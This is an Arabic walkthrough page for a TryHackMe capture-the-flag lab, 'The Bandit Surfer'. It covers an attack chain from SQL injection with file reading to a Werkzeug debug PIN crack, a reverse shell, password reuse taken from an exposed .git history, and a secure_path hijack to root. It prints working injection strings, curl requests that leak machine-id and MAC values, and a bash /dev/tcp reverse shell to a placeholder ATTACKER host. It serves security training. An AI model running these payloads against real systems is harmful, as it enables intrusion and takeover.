Lab: The Bandit Surfer | STY IT Labs
STY IT Labs · TryHackMe · Hard · Advent of Cyber 2023 — Side Quest 4 (الأخير)

Lab: The Bandit Surfer
SQLi → LFI → PIN Crack → PATH Hijack

خاتمة سلسلة Bandit Yeti — SQL Injection يديك قراءة ملفات كاملة على السيرفر، تكسر بيها PIN كونسول Flask Debug، تاخد شل، وفي الآخر تصعيد صلاحيات ذكي عن طريق التلاعب بترتيب البحث في متغير PATH.

Hard Difficulty SQLi → LFI Chain Werkzeug PIN Crack PATH / secure_path Hijack Side Quest 4/4 · 3 Flags
the-bfg :8000 SURFER BANDIT SURFER
Hard
3 – 5 ساعات
3 Flags
4 / 4 (أخير)
TryHackMe
Linux (Flask/Werkzeug)

عن اللاب

Advent of Cyber 2023 — Side Quest 4: The Bandit Surfer (الأخير)

خاتمة قصة Bandit Yeti — موقع “The BFG” (Best Festival Company) بيوزّع صور SVG لعناصر الحدث. من نقطة تحميل بسيطة زي دي، هتوصل لثغرة SQL Injection توديك لقراءة ملفات كاملة، وكسر PIN كونسول Flask Debug، وفي النهاية تصعيد صلاحيات مبني على فهم عميق لإزاي شل بيبحث عن الأوامر.

اللاب ده أقل اعتمادًا على أدوات جاهزة من باقي السلسلة، وأكتر اعتمادًا على الفهم — خصوصًا في الخطوة الأخيرة اللي فيها لعب بمتغير secure_path وفرق بين أوامر الـ Shell المدمجة (Builtins) والبرامج الخارجية.

استغلال الـ PIN مش دايمًا مستقر — لو فشل، جرب تعيد تشغيل الآلة واستعلم عن الـ MAC Address تاني بس (باقي المعلومات بتفضل ثابتة).

Bandit Yeti Badge — الجزء الأخير

أكمل اللاب ده واحصل على شارة سلسلة Bandit Yeti كاملة (4 أجزاء)

مسار الهجوم الكامل

1

Keycard — صورة أصلية مخبّاة في تاريخ Git

تحدي اليوم الـ21 من الحدث الرئيسي بيوريك مستخدم “Frostlino” مسح فرع كامل. جوّه فرع GitLab المحذوف، الصورة الأصلية (قبل التشويه) فيها كود QR مخبي — ده مفتاح الوصول للاب.

GitLab deleted branchoriginal vs defaced image
2

Recon — موقع “The BFG”

nmap بيطلّع بورتين بس: SSH(22) وسيرفر Werkzeug/Flask للتطوير على port 8000. الموقع بوابة تحميل عناصر SVG، وGobuster بيكشف مسار /console — احتمال كبير إن Debug Mode شغّال.

nmap -sV -p 22,8000Werkzeug/Flask dev server
3

Flag المستخدم — SQLi → قراءة ملفات مباشرة

باراميتر id في /download?id= بيتحط جوه استعلام SQL بـ string formatting من غير أي تعقيم. حقن UNION SELECT "file:///etc/passwd" -- - بيرجّع محتوى الملف كامل. نفس الحيلة على /home/mcskidy/user.txt بتديك الـ User Flag قبل ما تاخد أي شل خالص.

‘ UNION SELECT “file:///path” — –Flag المستخدم (بدون Shell)
4

جمع معلومات لكسر PIN الكونسول

نفس ثغرة الـ SQLi/LFI بتقدر تسحب أي ملف — نستخدمها لجمع الـ “بيانات الخاصة” اللي محتاجها exploit الـ Werkzeug PIN: عنوان الـ MAC (عبر /proc/net/arp ثم /sys/class/net/eth0/address) و/etc/machine-id.

file:///proc/net/arpfile:///etc/machine-id
5

كسر PIN كونسول Flask Debug

بتعبئة سكريبت كسر الـ PIN المعروف (من hacktricks/daehee.com) بالـ username المكتشف (mcskidy)، مسار app.py، وعنوان الـ MAC والـ machine-id، بيطلّع لنا الـ PIN الصحيح لفتح الكونسول التفاعلي.

crack_pin.py (SHA1 + salts)/console login
6

Reverse Shell عبر الكونسول

بمجرد فتح الكونسول، بننفّذ Python reverse shell (من revshells.com) مباشرة جوّاه — شل كامل كمستخدم mcskidy. ترقية الشل لـ TTY كاملة (pty.spawn + stty raw -echo).

python3 reverse shell payloadpty.spawn(“/bin/bash”)
7

سحب مجلد .git المكشوف وإيجاد باسورد معاد استخدامه

مجلد تطبيق Flask نفسه فيه .git مكشوف. GitTools (gitdumper.sh + extractor.sh) بيسحب تاريخ الـ commits كامل. git log بيكشف commit غيّر بيانات دخول MySQL — الباسورد ده معاد استخدامه لحساب mcskidy نفسه.

GitTools (gitdumper + extractor)password reuse confirmed
8

اكتشاف ثغرة secure_path

sudo -l بيوريك تفصيلتين غريبتين: secure_path متضبّط على /home/mcskidy نفسه (مجلدنا!)، وصلاحية تشغيل /usr/bin/bash /opt/check.sh من غير باسورد. السكريبت ده بيعمل source لملف /opt/.bashrc غريب الوجود، واللي بيستخدم أمر test (بالصيغة [ ]) — لكن مش كـ built-in، لأن ظروف معينة بتخليه يدوّر عليه كـ برنامج خارجي في نفس الـ secure_path.

secure_path=/home/mcskidy[ used as external binary, not builtin
9

Root Flag + yetikey4.txt — اختطاف اسم البرنامج

بما إن secure_path بيشاور على مجلدنا، بنحط ملف تنفيذي اسمه [ بالظبط جوه /home/mcskidy فيه reverse shell script. تشغيل sudo /usr/bin/bash /opt/check.sh بيخلّي السكريبت (شغّال كـ root) يستدعي الملف بتاعنا بدل أمر test الحقيقي — ونستقبل شل كامل بصلاحية root، وجوه /root نلاقي الـ Root Flag ومعاه yetikey4.txt.

malicious “[” binary in /home/mcskidyRoot Flag + yetikey4.txt

مراحل اللاب

SQLi
LFI
PIN Crack
RCE
Git History
PATH Hijack
3 Flags

Commands Cheat Sheet

الأمرالوصفالمرحلة
‘ UNION SELECT “file:///etc/passwd” — –SQLi → LFI لقراءة أي ملف على السيرفرSQLi/LFI
gobuster dir -u http://IP:8000 -w wordlistاكتشاف مسار /console المخفيEnum
python3 crack_pin.pyتوليد PIN كونسول Flask Debug من البيانات المسروقةPIN Crack
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ترقية الشل لـ TTY كاملةShell Upgrade
python3 gitdumper.sh http://IP:8000/app/.git/ dump/سحب مجلد .git المكشوفGit Dump
./extractor.sh dump/ extracted/استخراج تاريخ الـ commits الكاملGit History
sudo -lاكتشاف secure_path المُعاد توجيهه + صلاحية check.shPrivEsc Recon
echo ‘#!/bin/bash’ > /home/mcskidy/[; echo ‘bash -i >& /dev/tcp/ATTACKER/4446 0>&1’ >> /home/mcskidy/[; chmod +x /home/mcskidy/[زرع برنامج مزيّف باسم [ في secure_pathPATH Hijack
sudo /usr/bin/bash /opt/check.shتفعيل السكريبت اللي بينفّذ برنامجنا كـ rootRoot

Flags والمهام

01

Flag المستخدم

SQLi → LFI مباشر لـ /home/mcskidy/user.txt

Flag 1
02

Root Flag

PATH hijack على [ + sudo check.sh

Flag 2
03

yetikey4.txt

آخر مفتاح من مفاتيح الـ Yeti الأربعة — في /root

Flag 3
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — The Bandit Surfer Full Attack

root@kali — Bandit Surfer
# ── SQLi → LFI: User Flag ────────────────────────
└─# curl “http://IP:8000/download?id=’ UNION SELECT \”file:///home/mcskidy/user.txt\” — -“
THM{…} ← User Flag (before any shell!)

# ── Gather PIN-crack ingredients ─────────────────
└─# curl “…/download?id=’ UNION SELECT \”file:///sys/class/net/eth0/address\” — -“
MAC leaked → convert to decimal
└─# curl “…/download?id=’ UNION SELECT \”file:///etc/machine-id\” — -“
machine-id leaked
└─# python3 crack_pin.py
PIN: 123-456-789

# ── Console RCE ───────────────────────────────────
# paste PIN into /console → execute python3 reverse shell payload
[+] connection received — whoami: mcskidy
mcskidy$ python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

# ── Git history → password reuse ─────────────────
└─# python3 -m http.server 8080 # on victim, inside app/.git
└─# ./gitdumper.sh http://IP:8080/.git/ dump/ && ./extractor.sh dump/ out/
commit e9855c8…: MySQL user password changed → reused by mcskidy

# ── secure_path hijack → Root ────────────────────
mcskidy$ sudo -l
env_keep+=SECURE_PATH … secure_path=/home/mcskidy … (ALL) NOPASSWD: /usr/bin/bash /opt/check.sh
mcskidy$ printf ‘#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER/4446 0>&1’ > /home/mcskidy/[; chmod +x /home/mcskidy/[
mcskidy$ sudo /usr/bin/bash /opt/check.sh
root@surfer:~# cat /root/root.txt /root/yetikey4.txt
THM{…} ← Root Flag + yetikey4.txt

└─#

المهارات المكتسبة

SQL Injection → LFI Chaining
Werkzeug/Flask Debug PIN Exploit
Reverse Shell Payload Crafting
Exposed .git Recovery (GitTools)
Password Reuse Discovery
sudo secure_path Abuse
Shell Builtin vs External Binary
Creative PrivEsc Reasoning

الأدوات المستخدمة

Burp Suiteاكتشاف وتأكيد ثغرة الـ SQL Injection
Gobusterاكتشاف مسار /console
Werkzeug PIN Cracker (Python)توليد PIN كونسول التصحيح من البيانات المسروقة
GitToolsسحب واستخراج تاريخ .git المكشوف
revshells.comتوليد payload الـ Reverse Shell بلغة Python
أهم درس في اللاب ده: مش كل أمر بتكتبه في الـ Bash هو أمر واحد بس. بعض الأوامر (زي [ اللي هو مرادف لـ test) ليها نسخة Built-in جوّه الـ Shell ونسخة تانية Binary خارجي — والفرق ده ممكن يبقى ثغرة كاملة لو قدرت تتحكم في مسار البحث (PATH).